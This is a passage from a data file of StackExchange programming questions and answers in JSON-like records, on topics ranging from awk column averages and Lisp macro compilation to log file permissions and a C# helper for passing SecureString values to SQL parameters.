   |> List.map      (fun item ->        unwrap (store.TryFind item)        ,!(unwrap (store.TryFind item))        ,item+5        ,(          fun newValue data ->            data := {id=newValue}        )      )  if setValue setValueArgument then    let index, ret =      setValueArgument      |> List.fold          hasCorrectValue          (6,true)    ret  else    falselet ``compare should be false if not same`` () =  let store = createStore ()  let compareArgument =    [1..100]    |> List.map      (fun item ->        unwrap (store.TryFind item)        ,!(unwrap (store.TryFind item))      )    |> List.indexed    |> List.map      (fun (index,item) ->          let data, org = item          if index = 2 then            data,{id=99}          else            data,org      )  let result, data = (compare compareArgument)  not resultlet ``Set no values if something changed`` () =  let store = createStore ()  let setValueArgument =    [1..100]    |> List.map      (fun item ->        unwrap (store.TryFind item)        ,!(unwrap (store.TryFind item))        ,item+5        ,(          fun newValue data ->            data := {id=newValue}        )      )  (unwrap (store.TryFind 22)):= {id=22}  if not (setValue setValueArgument) then    let index, ret =      setValueArgument      |> List.fold          hasCorrectValue          (1,true)    ret  else    false``Set all values`` ()``compare should be false if not same`` ()``Set no values if something changed`` ()"  , "title": "Concurrency using immutability"  , "tags": "concurrency;f#;multiprocessing"  } 
{  "id": "_unix.307078"  , "question": "This is an extending question of the post Average rows with same first columnInput file:a   12  13  14b   15  16  17a   21  22  23b   24  25  26Desired output:a   16.5  17.5  18.5b   19.5  20.5  21.5The awk code in that post is:awk '    NR>1{        arr[$1]   += $2        count[$1] += 1    }    END{        for (a in arr) {            print a \\t arr[a] / count[a]        }    }'Question: This code only works on the first row. How do I expand this code to multiple columns?"  , "title": "Average all rows of multiple columns with the same first column"  , "tags": "awk"  , "accepted_answer": "Using awk, you could simulate a 2D array by constructing a composite index from the key (first column value) and column index: awk '  {  c[$1]++;   for (i=2;i<=NF;i++) {    s[$1.i]+=$i};  }   END {    for (k in c) {      printf %s\\t, k;       for(i=2;i<NF;i++) printf %.1f\\t, s[k.i]/c[k];       printf %.1f\\n, s[k.NF]/c[k];    }  }' file  a       16.5    17.5    18.5  b       19.5    20.5    21.5A similar approach may be implemented in perl more directly using a hash of arrays.Alternatively, there's GNU datamash which (at least from version 1.1.0) supports group averages very compactly e.g.datamash --sort --whitespace groupby 1 mean 2-4 < filea       16.5    17.5    18.5b       19.5    20.5    21.5FWIW here's my attempt at a perl solution, including normalization to the global max average as requested in comments. DISCLAIMER: I'm a novice perl programmer, so it may demonstrate poor programming practices.#!/usr/bin/perluse strict;use warnings;use List::MoreUtils qw(pairwise minmax);use Math::Round qw(nearest);my @hdr;my %sums = ();my %count = ();my $key;while (defined($_ = <ARGV>)) {  chomp $_;  my @F = split(' ', $_, 0);  # UGLY: hardcoded to expect exactly 1 header row  if ($. == 1) {    @hdr = @F;    next;  }  # sum column-wise, grouped by first column  $key = shift @F;  if ( exists $sums{$key} ) {    $sums{$key} = [ pairwise { $a + $b } @{ $sums{$key} }, @F];  }  else {    $sums{$key} = \\@F;  }  $count{$key}++;}my %avgs = ();# NB should really initialize $maxavg to a suitably large NEGATIVE valuemy $maxavg = 0.0;# find the column averages, and the global max of those averagesfor $key ( keys %sums ) {  $avgs{$key} = [ map { $_ / $count{$key} } @{ $sums{$key} } ];  # NB could use List::Util=max here, but we're alresdy using List::MoreUtils  my ($kmin, $kmax) = minmax @{ $avgs{$key} };  $maxavg = $kmax > $maxavg ? $kmax : $maxavg;}# normalize and print the results, rounded to nearest 0.01print join \\t, @hdr, \\n;for $key ( sort keys %avgs ) {  print join \\t, $key, (map { nearest (0.01, $_ / $maxavg) } @{ $avgs{$key} }), \\n;}Saved as colavgnorm.pl and made executable, then run as $ ./colavgnorm.pl fileK       C1      C2      C3a       0.77    0.81    0.86b       0.91    0.95    1where file isK   C1  C2  C3a   12  13  14b   15  16  17a   21  22  23b   24  25  26"  } 
{  "id": "_softwareengineering.87437"  , "question": "Over the past few years I have worked with several different version control systems. For me, one of the fundamental differences between them has been whether they version files individually (each file has its own separate version numbering and history) or the repository as a whole (a commit or version represents a snapshot of the whole repository).Some per-file version control systems:CVSClearCaseVisual SourceSafeSome whole-repository version control systems:SVNGitMercurialIn my experience, the per-file version control systems have only led to problems, and require much more configuration and maintenance to use correctly (for example, config specs in ClearCase). I've had many instances of a co-worker changing an unrelated file and breaking what would ideally be an isolated line of development.What are the advantages of these per-file version control systems? What problems do whole-repository version control systems have that per-file version control systems do not?"  , "title": "What are the advantages of version control systems that version each file separately?"  , "tags": "version control"  , "accepted_answer": "In my experience, there aren't any: whole-repository VCS strictly dominates per-file VCS."  } 
{  "id": "_softwareengineering.332013"  , "question": "Lets say I want to setup a roles table that has a polymorphic relationship to resource.I understand that that I could directly setup a foreign key - by adding for example a roles.forum_id column.But why is (AFAIK) creating a compound foreign key where one column holds the key and another the table to reference not possible?"  , "title": "Why are first class polymorphic relations not possible in relational databases?"  , "tags": "relational database"  } 
{  "id": "_softwareengineering.344426"  , "question": "Here is a json which comes in the request param. I am constructing a class with getter and setter for accessing the values in json so that I could be able to pass the class object to different methods and able to access the member variables in them.public class RequestParams {    private String student_id;    private String student_name;    private String student_role_number;    private String department_name;    private String stream;    private JSONObject studentDetails;    public RequestParams(HttpServletRequest request) {        this.studentDetails = request.getParameter(studentdetails);    }    public String getStudentId() {        if(this.student_id == null) {            this.setStudentId();        }        return this.student_id;    }    public String getStudentName() {        if(this.student_name == null) {            this.setStudentName();        }        return this.student_name;    }    public String getRoleNumber() {        if(this.student_role_number == null) {            this.setRoleNumber();        }        return this.student_role_number;    }    public String getDepartmentName() {        if(this.department_name == null) {            this.setDepartmentName();        }        return this.student_name;    }    public String getStream() {        if(this.stream == null) {            this.setStream();        }        return this.stream;    }    public void setStudentId() {        this.student_id = this.studentDetails.getString(student_id);    }    public void setStudentName() {        this.student_name = this.studentDetails.getString(student_name);    }    public void setRoleNumber() {        this.student_role_number = this.studentDetails.getString(role_number);    }    public void setDepartmentName() {        this.department_name = this.studentDetails.getString(department_name);    }    public void setStream() {        this.stream = this.studentDetails.getString(stream);    }}Have the following doubts,Constructing as class object to reference it from different methods - Is this a good one? Am I going wrong?How to organise my getter setter so that only set is called only for the first time and for the next calls the value is returned directly? Is there a better way to avoid the null check each timeif(this.student_id == null) {this.setStudentId();}Is there any advantage of accessing the methods and variables within the class with this. ? PS: I could not invoke all the setter initially from the constructor because all the values declared in the class need not be necessarily present in the json. So, I thought that it would be better if I could initialise the member variable with value during first access."  , "title": "Best way to invoke 'setter method' for first access and 'getter method' for the rest with getter setter pattern?"  , "tags": "java;design;design patterns;object oriented;serialization"  } 
{  "id": "_softwareengineering.19934"  , "question": "This is a chart I whipped together showing the length of active (meaning ongoing bug fixes and service packs) support offered for each version of Delphi. It is based on the published support data obtained from Embarcadero's website. Delphi 2010 and XE are excluded because their active support is still ongoing so they can't really be compared accurately. Ironically, Delphi 7, which was regarded by many to be the most stable until the release of Delphi 2009, had a support cycle three times as long as Delphi 2009. Granted, this chart spans three different companies with three different agendas. My question is why is Delphi 2009's support cycle so short? I understand Embarcadero has a business to run and they don't make money with service packs but really, 12 months? I would expect that of a $10 shareware title with low profit margins not a $900-$3500 world class development tool."  , "title": "What's with Delphi's support cycle?"  , "tags": "delphi;support"  } 
{  "id": "_unix.36751"  , "question": "Running simply builtin prints nothing and returns exit code 0. This is in accordance with help builtin, which shows all parameters as optional. But why isn't this no-op an error? Is there a use case for this? A more useful result would be an error code or, even better, listing the currently available builtins."  , "title": "Why are parameters to Bash's builtin optional?"  , "tags": "bash;shell builtin"  , "accepted_answer": "Bash built-ins are inconsistent and poorly documented.Here's an example:$ help commandcommand: command [-pVv] command [arg ...]    Runs COMMAND with ARGS ignoring shell functions.  If you have a shell    function called 'ls', and you wish to call the command `ls', you can    say command ls.  If the -p option is given, a default value is used    for PATH that is guaranteed to find all of the standard utilities.  If    the -V or -v option is given, a string is printed describing COMMAND.    The -V option produces a more verbose description.$ command; echo $?0Even without command the return code $? -eq 0 and there is no error on std err.Another one:$ help disowndisown: disown [-h] [-ar] [jobspec ...]    By default, removes each JOBSPEC argument from the table of active jobs.    If the -h option is given, the job is not removed from the table, but is    marked so that SIGHUP is not sent to the job if the shell receives a    SIGHUP.  The -a option, when JOBSPEC is not supplied, means to remove all    jobs from the job table; the -r option means to remove only running jobs.$ disown; echo $?-bash: disown: current: no such job1All the arguments are optional but it returns $? -eq 1 when there are none.I've even compiled the newest Bash 4.2 and here are my results:$ help commandcommand: command [-pVv] command [arg ...]    Execute a simple command or display information about commands.    Runs COMMAND with ARGS suppressing  shell function lookup, or display    information about the specified COMMANDs.  Can be used to invoke commands    on disk when a function with the same name exists.    Options:      -p    use a default value for PATH that is guaranteed to find all of        the standard utilities      -v    print a description of COMMAND similar to the `type' builtin      -V    print a more verbose description of each COMMAND    Exit Status:    Returns exit status of COMMAND, or failure if COMMAND is not found.$ command; echo $?0There's a new section Exit Status and command is still an optional argument. Even worse than 3.x. The same for other built-ins.So, you're right. Bash built-ins are a mess and should be fixed."  } 
{  "id": "_codereview.55920"  , "question": "I have a code similar to this:public class PlayerRound {    private final List<Strip> playerStrips = new ArrayList<>();    public boolean addStrip(final Strip aStrip) {        // ...        if (playerStrips.contains(aStrip)) {            playerStrips.set(playerStrips.indexOf(aStrip), aStrip); // DOES THIS LINE CHANGE SOMETHING?        }        // ...        return true;    }}@Entity@Cacheable(false)@Table(        appliesTo = Strip,        indexes = {            @Index(name = IDX_RoundStrip, columnNames = {round_id}),            @Index(name = IDX_UserStrip, columnNames = {user_id})        })public class Strip implements Serializable, IAnnotatedProxy {    @Id    @GeneratedValue(strategy = GenerationType.IDENTITY)    private Integer id;    @Transient    private Integer tempId = tempIdx++;    @Override    public boolean equals(Object obj) {        Boolean areEqual = Boolean.FALSE;        if (obj != null && getClass() == obj.getClass()) {            final Strip other = (Strip) obj;            if (null == this.id && null == other.id) {                if (this.tempId.equals(other.tempId)) {                    areEqual = Boolean.TRUE;                }            } else if (null != this.id) {                if (this.id.equals(other.id)                        || this.id.equals(other.tempId)) {                    areEqual = Boolean.TRUE;                }            } else if (null != other.id) {                if (other.id.equals(this.id)                        || other.id.equals(this.tempId)) {                    areEqual = Boolean.TRUE;                }            }        }        return areEqual;    }}My question is: can I safely delete the line that sets the element that already is on the list on the same position?Does this line does something that I don't know?"  , "title": "Does setting the same element in a list does something at all?"  , "tags": "java"  , "accepted_answer": "No, that code is totally useless. Unless....Same element twiceAs it is a List, what happens if it contains the element twice?Let's say we have a List containing two elements of the type Strip:stripA, stripBstripA and stripB are equal, that is, the class have implemented .equals. Then and only then, this code will do something useful. If aStrip is stripB then it will modify the list to become:stripB, stripBOne inside, one outside, both .equalsThe same is true if the List contains stripA only and you call the method with aStrip again as stripB. Remember that stripA.equals(stripB) is true so here's what happens: if (playerStrips.contains(aStrip)) {Yes. .contains on a Collection uses .equals to see if it contains or not, so this will return true. playerStrips.indexOf(aStrip)indexOf also uses .equals and the index of stripA is returned.playerStrips.set(playerStrips.indexOf(aStrip), aStrip);So what happens here is that the index of stripA is set to stripB.Small ImprovementThere's really no reason to use both indexOf and contains. You could do this instead:int index = playerStrips.indexOf(aStrip);if (index != -1) {    playerStrips.set(index, aStrip);}HoweverIf this functionality has been added because of this reason, I personally think it is a bad reason to add it. This code is more confusing than anything else. Do it differently. Either aStrip should not really be equal to bStrip, or something else should be modified. The reason for why one would want to replace aStrip with bStrip when they are already equal goes beyond my understanding.Strip.equalsHoly.... mess!First of, why use Boolean when you can use boolean? Secondly, why use a boolean at all when you can use return?Also, you could probably use instanceof instead of getClass. But you should look at the StackOverflow question about this.I have to question the usage of tempID, it does not feel like a clean solution to me - whatever problem it is meant to solve.By following the program execution, you can see that if one of those if (condition) return true is not true that the only possible return value is false. Therefore, it can be simplified with return condition;Because of the above, there will be no reason to use any else as there's a return inside the previous if.Therefore, your .equals method can be simplified to:@Overridepublic boolean equals(Object obj) {    if (obj instanceof Strip) {        final Strip other = (Strip) obj;        if (null == this.id && null == other.id) {            return this.tempId.equals(other.tempId);        }        if (null != this.id) {            return this.id.equals(other.id)                    || this.id.equals(other.tempId);        }        if (null != other.id) {            return other.id.equals(this.id)                    || other.id.equals(this.tempId);        }    }    return false;}"  } 
{  "id": "_unix.225354"  , "question": "My Oracle database is in ISO8859-1 (not by choice).I'm struggling with segfault from php-fpm for a couple of days now. To dig out the source of it I've set two parallel environnements with the following ENV variable:NLS_LANG=AMERICAN_AMERICA.WE8ISO8859P15Php version: 5.6.12php-cliThe development server is started with:php -S localhost:8081 web/app_dev.phpphp-fpmPool configuration extract:[www]env[NLS_LANG] = AMERICAN_AMERICA.WE8ISO8859P15listen = 127.0.0.1:9000Doctrine dbalcharset: nullNow, I'm requesting a JSON api with special characters: with php-cli json_encode errors Malformed UTF-8 characters, possibly incorrectly encoded (seems to be a valid error, data is not in utf8)with php-fpm everything works but special characters are replaced ( becomes e) Why?By trying to fix the php-cli, which seems more stable (lots of random 502 errors with php-fpm) I have two options:Tweaking JsonResponse.php to encode everything from ISO8859-1 to UTF-8 (ugly)Setting the client charset to UTF8The second solution seems to be the one and the doctrine configuration is now:charset: UTF8php-cli now works as expected and everything is wonderful!php-fpm fails with Oracle related errors: [2015-08-25 13:56:54] php.DEBUG: oci_connect(): OCIEnvNlsCreate()  failed. There is something wrong with your system - please check that  LD_LIBRARY_PATH includes the directory with Oracle Instant Client  libraries[2015-08-25 13:56:54] php.DEBUG: oci_connect(): Error while trying to retrieve text for error ORA-12715Where ORA-12715 is invalid character set specified.LD_LIBRARY_PATH is not the issue here.What is going wrong here? Is php-fpm correct about those errors? How may I fix this to get the same behavior between php-cli and php-fpm?"  , "title": "Doctrine OCI8 charset behavior between php-cli and php-fpm"  , "tags": "php;character encoding;oracle database;symfony"  } 
{  "id": "_softwareengineering.332420"  , "question": "There are some programming languages, like the many dialects of Lisp, that allow for macro-metaprogramming: rewriting and altering sections of code before the code is run.It is relatively trivial to write a simple interpreter for Lisp (mostly because there is only very little special syntax). However, I cannot understand how it would be possible to write a compiler for a language that allows you to rewrite code at-runtime (and then execute that code).How is this done? Is the compiler itself basically included in the generated compiled program, such that it can compile new sections of code? Or is there another way?"  , "title": "How can a compiler be written for a language that allows rewriting code at runtime (such as Lisp macros)?"  , "tags": "compiler;lisp;macros"  , "accepted_answer": "Macros have the advantage to be expanded at compile timeThe idea of Lisp macros is to be able to fully expand them at compile time. Then no compiler is needed at runtime. Most Lisp systems allow you to fully compile code. The compilation step includes the macro expansion phase. There is no expansion needed at runtime.Often Lisp systems include a compiler, but this is needed when code is generated at runtime and this code would need to be compiled. But this is independent of macro expansion.You will even find Lisp systems which don't include a compiler and even no full interpreter at runtime. All code will be compiled before runtime.FEXPRs were code modifying functions, but were mostly replaced by MacrosIn earlier times in the 60s/70s many Lisp systems included so-called FEXPR functions, which could translate code at runtime. But they could not be compiled before runtime. Macros replaced them mostly, since they enable full compilation.An example of a macro interpreted and compiledLet's look at LispWorks, which has both an interpreter and a compiler. It allows to mix interpreted and compiled code freely. The Read-Eval-Print-Loop uses the Interpreter to execute code.Let's define a trivial macro. But the macro prints the code it gets called with, every time the macro runs.CL-USER 45 > (defmacro my-if (test yes no)               (format t ~%Expanding (my-if ~a ~a ~a) test yes no)               `(if ,test ,yes ,no))MY-IFLet's define a function which uses the macro from above. Remember: here in LispWorks the function will be interpreted.CL-USER 46 > (defun test (x y)               (my-if (> x y) 'larger 'not-larger))TESTIf you look above, the Lisp system only printed the function name. The macro did not run - otherwise the macro would have printed something. So the code is not expanded.Let's run the TEST function using the Interpreter:CL-USER 47 > (loop for i below 5 collect (test i 3))Expanding (my-if (> X Y) (QUOTE LARGER) (QUOTE NOT-LARGER))Expanding (my-if (> X Y) (QUOTE LARGER) (QUOTE NOT-LARGER))Expanding (my-if (> X Y) (QUOTE LARGER) (QUOTE NOT-LARGER))Expanding (my-if (> X Y) (QUOTE LARGER) (QUOTE NOT-LARGER))Expanding (my-if (> X Y) (QUOTE LARGER) (QUOTE NOT-LARGER))Expanding (my-if (> X Y) (QUOTE LARGER) (QUOTE NOT-LARGER))Expanding (my-if (> X Y) (QUOTE LARGER) (QUOTE NOT-LARGER))Expanding (my-if (> X Y) (QUOTE LARGER) (QUOTE NOT-LARGER))Expanding (my-if (> X Y) (QUOTE LARGER) (QUOTE NOT-LARGER))Expanding (my-if (> X Y) (QUOTE LARGER) (QUOTE NOT-LARGER))(NOT-LARGER NOT-LARGER NOT-LARGER NOT-LARGER LARGER)So you see that for some reason the macro expansion is run twice for each of the five calls to test. The macro is expanded by the interpreter every time the function TEST is called.Now let's compile the function TEST:CL-USER 48 > (compile 'test)Expanding (my-if (> X Y) (QUOTE LARGER) (QUOTE NOT-LARGER))TESTNILNILYou can see above that the compiler runs the macro once.If we now run the function TEST, no macro expansion will happen. The macro form (MY-IF ...) has already been expanded by the compiler:CL-USER 49 > (loop for i below 5 collect (test i 3))(NOT-LARGER NOT-LARGER NOT-LARGER NOT-LARGER LARGER)If you used some other Lisps like SBCL or CCL, they will compile everything by default. SBCL has in new versions also an interpreter. Let's do the example from above in a recent SBCL:Let's use the new SBCL interpreter:CL-USER> (setf sb-ext:*evaluator-mode* :interpret):INTERPRETCL-USER> (defmacro my-if (test yes no)           (format t ~%Expanding (my-if ~a ~a ~a) test yes no)           `(if ,test ,yes ,no))MY-IFCL-USER> (defun test (x y)           (my-if (> x y) 'larger 'not-larger))TESTCL-USER> (loop for i below 5 collect (test i 3))Expanding (my-if (> X Y) 'LARGER 'NOT-LARGER)Expanding (my-if (> X Y) 'LARGER 'NOT-LARGER)Expanding (my-if (> X Y) 'LARGER 'NOT-LARGER)Expanding (my-if (> X Y) 'LARGER 'NOT-LARGER)Expanding (my-if (> X Y) 'LARGER 'NOT-LARGER)(NOT-LARGER NOT-LARGER NOT-LARGER NOT-LARGER LARGER)CL-USER> (compile 'test)Expanding (my-if (> X Y) 'LARGER 'NOT-LARGER)TESTNILNILCL-USER> (loop for i below 5 collect (test i 3))(NOT-LARGER NOT-LARGER NOT-LARGER NOT-LARGER LARGER)CL-USER> "  } 
{  "id": "_webapps.20887"  , "question": "There is a website displaying pins on a Google map included into one of its pages, but so framed that it's almost impossible to use and print. I'd really want to be able to make a screenshot of this map to be able to find bike-stations when I'm on my bike (without internet access). A large screenshot would be enough.Is there a way to display those pins on the Google Maps website itself (or anyway to enlarge the Google map view)?"  , "title": "How to display Map Pin's of a website on the larger Google Maps?"  , "tags": "google maps"  , "accepted_answer": "Big enough? I don't have a bigger screen available right now, so that's the most I could do.If you have a large monitor and you are comfortable with Firebug, use it to alter the page layout and make your screen shot as big as you need.To do that:Click right close to you mapClick Inspect ElementSearch for a <div> with the id=105648Click on it in order to select it as in the above pictureIn the right side you will see the CSS values for the height and width of the elementClick on each value and alter itClose FirebugDO NOT REFRESH THE PAGE until you are done"  } 
{  "id": "_unix.297321"  , "question": "Will it be safe to enable logging into a write-only log file on a production server? I imagine, that this would protect the log file from unwanted eyes. Are there any drawbacks of using this technique?"  , "title": "Is granting write-only permission on log files to certain users a good practice?"  , "tags": "permissions;security;webserver"  , "accepted_answer": "Logs should be write-only if they contain potentially confidential data. Obviously they can only be write-only to the application that produces the log and other applications running on the server, and perhaps even to the logging subsystem (once written to the log files), but system administrators and auditors should be able to read them.The most important thing for a log file is integrity. Being write-only doesn't help with integrity. If you can, make the log file append-only (e.g. chattr +a /path/to/log under Linux)  but this may not be practical since only root can do this and it needs to be done on each log rotation. Better yet, log on a separate server which does nothing else (and even then, having a non-readable append-only log file does add a bit of redundancy to the security)."  } 
{  "id": "_computergraphics.4094"  , "question": "One of the features of ray marching is that you can use modulus to repeat shapes infinitely, like in the image below, which is from https://www.shadertoy.com/view/MsBGW1I was curious if there exists any technique which allows you to do the same thing with ray tracing instead of ray marching?One method I do know of is to ray trace a plane from above, and then where you hit the plane, calculate your location on a grid on that plane, and use the relative position in that grid cell as an absolute position to raytrace a scene.  That will repeat the scene across the grid.However, a problem with that is if your ray doesn't hit anything in the grid cell, and it would then enter another grid cell, this technique won't catch those other shapes without walking the grid cells down the path of the ray until it exits the back side of the grid, which is very ray-marching-esque and iterative.Does anyone know of a technique that allows you to have ray marching type repetition in ray tracing?"  , "title": "Is there a method to do ray marching style modulus repeat with raytracing?"  , "tags": "raytracing;raymarching"  } 
{  "id": "_unix.213570"  , "question": "I want to run two commands on terminal on my virtual machine at the same time.I have this as of now:sudo ptpd -c -g -b eth1 -h -D; sudo tcpdump -nni eth1 -e icmp[icmptype] == 8 -w capmasv6.pcapHowever, the tcpdump command only starts running when I press CtrlC, and I don't want to cancel the first command.If I just open two different terminals and write the command in each, is that fine or will it not work as I want it to?"  , "title": "Running multiple commands at the same time"  , "tags": "shell;parallelism"  , "accepted_answer": "Running each command in a different terminal will work; you can also start them in a single terminal with & at the end of the first to put it in the background (see Run script and not lose access to prompt / terminal):sudo ptpd -c -g -b eth1 -h -D &sudo tcpdump -nni eth1 -e icmp[icmptype] == 8 -w capmasv6.pcap"  } 
{  "id": "_webmaster.44849"  , "question": "I have a Cpanel web hosting account and have created a subdomain which redirects to an IP address of a different server (Windows IIS) by creating an A record. I don't have control of the Windows server.I would like that those people who type www. before the subdomain get redirected to the same page.I tried creating a CNAME record pointing www.foo.example.com. to foo.example.com but it isn't working. It is actually stopping the A record from working.How do I redirect www.foo.example.com. to foo.example.com in Cpanel?"  , "title": "Redirecting www.foo.example.com to foo.example.com"  , "tags": "dns;cpanel;cname"  , "accepted_answer": "Your cPanel may have an interface to do that for you. What needs to be done, which is what such interface would do anyway, is modifying the .htaccess file in your public_html directory. It will add the following lines:RewriteEngine ONRewriteCond %{HTTP_HOST} ^www.foo.example.com$RewriteRule ^/?(.*)$ http://foo.example.com/$1 [R=301,L]Omit the RewriteEngine ON line if it is already there."  } 
{  "id": "_codereview.102715"  , "question": "I was trying to write a dynamic programming algorithm using a bottom up approach that solves the subset sum problem's version where the solution can be either an empty set and the initial set can only contain positive integers.The following is my implementation, but I am not sure it is correct for all cases.def _get_subset_sum_matrix(subset, s):    m = [[0 for _ in range(s + 1)] for _ in range(len(subset) + 1)]    for i in range(1, s + 1):        m[0][i] = 0    for j in range(0, len(subset) + 1):        m[j][0] = 1    return mdef subset_sum(subset, s):    m = _get_subset_sum_matrix(subset, s)    for i in range(1, len(subset) + 1):        for j in range(1, s + 1):            if subset[i - 1] == j:                m[i][j] = 1            else:                # We can include the current element,                # because it is less than the current number j.                if subset[i - 1] <= j:                    m[i][j] = max(m[i - 1][j], m[i - 1][j - subset[i - 1]])                else:                    m[i][j] = m[i - 1][j]    return m[-1][-1]You can imagine the idea of my algorithm as follows. I have the numbers of the set in the vertical axis on the left, where the first element is actually the empty set. These numbers are not considered as only numbers, but, as I go down from the empty set (the first element), I start considering greater sets, that include all previous elements plus the current one. Example, suppose I have the set S = {1, 2, 3}. I first consider the empty set, then the union of the empty set and {1}, then the union of {1} and {2}, and finally the union of {1, 2} and {3}.In the horizontal axis you can imagine I have an increasing sequence of numbers up to the number we want to obtain (by summing the numbers of a certain subset of S). Example, suppose we want to obtain 4, then the increasing sequence would be 0, 1, 2, 3, 4.So, I first start considering I want to obtain the number 0, and then 1, 2, etc, as it is usually done in a dynamic programming algorithm using a bottom-up approach.Apart from the setup of the matrix, my algorithm assigns 1 to m[i][j], for some i = 0, 1, ..., N, where N is the size of the set S, and for some j = 0, 1, ... , M, where M is the number we want to obtain, when either the current number in the subset, that is S[i - 1], is equal to the number we want to obtain M_j, or when the previous solution to the subproblem, where the number we want to obtain is M_j - S[i - j], was 1.That might seem a confusing explanation, and I think the code is self-explanatory.Is my algorithm correct for all instances of the problem?Is there a way I can improve it?"  , "title": "Subset sum whose set contains only positive integers"  , "tags": "python;python 3.x;dynamic programming"  } 
{  "id": "_softwareengineering.313157"  , "question": "I need to create a container app which contains several apps (imagine something like iCloud): once I've been logged in, I can see all the apps by means of icons, click on them and use them (a new tab/page is open and no login is required).The container app, as well as the other apps, will have a dedicated folder on the server and will be designed to be front-end apps with their own back end. Each back end is dedicated to the single app, but all the back ends can access server APIs and/or the DB without any problem (they will reside on the same server, at most on different virtual servers with different ports).I would like to let the user log-in just once (container app) and then let her/him to use the app without re-logging in again and again. To do that, I was thinking about a shared token that each front-end app will send to their relative back ends. The back ends will check the token. I don't want to reinvent the wheel so I was wondering if oauth could be useful some way to accomplish my goal."  , "title": "Is OAuth 2.0 ok for building a container of applications?"  , "tags": "oauth;oauth2"  } 
{  "id": "_codereview.18684"  , "question": "The following is my code for printing all the substrings of an input string. For example, with abc, it would be a,ab,abc,b,bc,c. Could someone please review it for efficiency (and possibly suggest alternatives)?void findAllSubstrings(const char *s){    int x=0;    while(*(s+x)){        for(int y=0; y<=x; y++)            cout<<*(s+y);        cout<<'\\n';        x++;    }    if(*(s+1))        findAllSubstrings(s+1);    else        return;}"  , "title": "Find All Substrings Interview Query in C++"  , "tags": "c++;algorithm"  , "accepted_answer": "Your problem is in O(n), at least. This seems not to be optimizable. If you want only distinct substrings, then you will have to use a table of already encountered strings, which will make your code slower.However, you can switch the algorithm from recursive to iterative, which is usually slightly faster. It's a micro-optimization, so do not expect a x2 improvement in speed... void findAllSubstrings2(const char *s){    while(*s)    {        int x=0;        while(*(s + x))        {            for(int y = 0; y <= x; y++)                std::cout << *(s + y);            std::cout << \\n;            x++;        }        s++;    }}I've done a profile test, on Codepad and Ideone (different versions of same compilers + different machines). The io operations are left for the profile test, because what matters here is the comparison between the 2 functions."  } 
{  "id": "_codereview.87300"  , "question": "The purpose here is to make it easy to use sensitive data that is already in the form of a SecureString (example) without converting it to a String object and risking more leaks than necessary.SecureString isn't about total security, but it is about reducing attack surface. For example, when you call SecureString.AppendChar there is a brief flash where it decrypts the contents, adds your character, and reencrypts. This is still better than storing your password in the clear on the heap for any amount of time.So in a similar vein, if I'm to use a SecureString as a SqlParameter value, it's best to do as little as possible with the contents in the clear and erase it as soon as possible. This isn't about transport security to SQL server, just C# process memory that has the potential to be paged to disk and end up unerased, in the clear, for years.Usage:var secureString = new SecureString();secureString.AppendChar('a');secureString.AppendChar('q');secureString.AppendChar('1');using (var command = new SqlCommand(select case when @secureParam = 'aq1' then 'yes' else 'no' end, connection)){    object returnValue;    using (command.Parameters.AddSecure(secureParam, secureString))    {        // At this point no copies exist in the clear        returnValue = (string)command.ExecuteScalar();        // Now one pinned String object exists in the clear (referenced at the internal property command.Parameters[0].CoercedValue)    }    // At this point no copies exist in the clear}Code:public static class SecureSqlParameterExtensions{    [DllImport(kernel32.dll, EntryPoint = CopyMemory)]    private static extern void CopyMemory(IntPtr dest, IntPtr src, IntPtr count);    [DllImport(kernel32.dll, EntryPoint = RtlZeroMemory)]    private static extern void ZeroMemory(IntPtr ptr, IntPtr count);    /// <summary>    /// You must dispose the return value as soon as SqlCommand.Execute* is called.    /// </summary>    public static IDisposable AddSecure(this SqlParameterCollection collection, string name, SecureString secureString)    {        var value = new SecureStringParameterValue(secureString);        collection.Add(name, SqlDbType.NVarChar).Value = value;        return value;    }    private sealed class SecureStringParameterValue : IConvertible, IDisposable    {        private readonly SecureString secureString;        private int length;        private string insecureManagedCopy;        private GCHandle insecureManagedCopyGcHandle;        public SecureStringParameterValue(SecureString secureString)        {            this.secureString = secureString;        }        #region IConvertible        public TypeCode GetTypeCode()        {            return TypeCode.String;        }        public string ToString(IFormatProvider provider)        {            if (insecureManagedCopy != null) return insecureManagedCopy;            if (secureString == null || secureString.Length == 0) return string.Empty;            // We waited till the last possible minute.            // Here's the plan:            //  1. Create a new managed string initialized to zero            //  2. Pin the managed string so the GC leaves it alone            //  3. Copy the contents of the SecureString into the managed string            //  4. Use the string as a SqlParameter            //  5. Zero the managed string after Execute* is called and free the GC handle            length = secureString.Length;            insecureManagedCopy = new string('\\0', length);            insecureManagedCopyGcHandle = GCHandle.Alloc(insecureManagedCopy, GCHandleType.Pinned); // Do not allow the GC to move this around and leave copies behind            try            {                // This is the only way to read the contents, sadly.                // SecureStringToBSTR picks where to put it, so we have to copy it from there and zerofree the unmanaged copy as fast as possible.                var insecureUnmanagedCopy = Marshal.SecureStringToBSTR(secureString);                try                {                    CopyMemory(insecureManagedCopyGcHandle.AddrOfPinnedObject(), insecureUnmanagedCopy, (IntPtr)(length * 2));                }                finally                {                    if (insecureUnmanagedCopy != IntPtr.Zero) Marshal.ZeroFreeBSTR(insecureUnmanagedCopy);                }                // Now the string managed string has the contents in the clear.                return insecureManagedCopy;            }            catch            {                Dispose();                throw;            }        }        public void Dispose()        {            if (insecureManagedCopy == null) return;            insecureManagedCopy = null;            ZeroMemory(insecureManagedCopyGcHandle.AddrOfPinnedObject(), (IntPtr)(length * 2));            insecureManagedCopyGcHandle.Free();        }        public bool ToBoolean(IFormatProvider provider)        {            throw new NotImplementedException();        }        public char ToChar(IFormatProvider provider)        {            throw new NotImplementedException();        }        public sbyte ToSByte(IFormatProvider provider)        {            throw new NotImplementedException();        }        public byte ToByte(IFormatProvider provider)        {            throw new NotImplementedException();        }        public short ToInt16(IFormatProvider provider)        {            throw new NotImplementedException();        }        public ushort ToUInt16(IFormatProvider provider)        {            throw new NotImplementedException();        }        public int ToInt32(IFormatProvider provider)        {            throw new NotImplementedException();        }        public uint ToUInt32(IFormatProvider provider)        {            throw new NotImplementedException();        }        public long ToInt64(IFormatProvider provider)        {            throw new NotImplementedException();        }        public ulong ToUInt64(IFormatProvider provider)        {            throw new NotImplementedException();        }        public float ToSingle(IFormatProvider provider)        {            throw new NotImplementedException();        }        public double ToDouble(IFormatProvider provider)        {            throw new NotImplementedException();        }        public decimal ToDecimal(IFormatProvider provider)        {            throw new NotImplementedException();        }        public DateTime ToDateTime(IFormatProvider provider)        {            throw new NotImplementedException();        }        public object ToType(Type conversionType, IFormatProvider provider)        {            throw new NotImplementedException();        }        #endregion    }}"  , 